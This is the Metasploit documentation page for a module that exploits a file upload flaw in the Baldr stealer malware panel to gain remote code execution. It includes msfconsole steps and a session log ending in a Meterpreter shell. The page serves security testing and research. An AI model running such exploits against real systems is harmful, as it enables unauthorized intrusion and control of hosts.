CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/exploit/multi/http/baldr_upload_exec.md
Views: 11784

Vulnerable Application

Description

This module exploits an arbitrary file upload vulnerability within the Baldr stealer malware control panel when uploading victim log files (which are uploaded as ZIP files). Attackers can turn this vulnerability into an RCE by first registering a new bot to the panel and then uploading a ZIP file containing malicious PHP, which will then uploaded to a publicly accessible directory underneath the /logs web directory.

Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files are encoded by XORing them with a random 4 byte key. This exploit module gets around this restriction by retrieving the IP specific XOR key from panel gate before uploading the malicious ZIP file.

Verification Steps

  1. Install the application

  2. Start msfconsole

  3. Do: use exploit/multi/http/baldr_upload_exec

  4. Do set rhost 192.168.1.27

  5. Do: run

  6. Verify that you get a shell on the target system

Options

TARGETURI

The URI where the Baldr panel/gateway is located on the target web server.

Scenarios

msf5 > use exploit/multi/http/baldr_upload_exec 
msf5 exploit(exploit/multi/http/baldr_upload_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/baldr_upload_exec) > run

[*] Baldr Version: <= v2.0
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 192.168.1.27:9090
[*] Sending stage (38288 bytes) to 192.168.1.27
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300

meterpreter >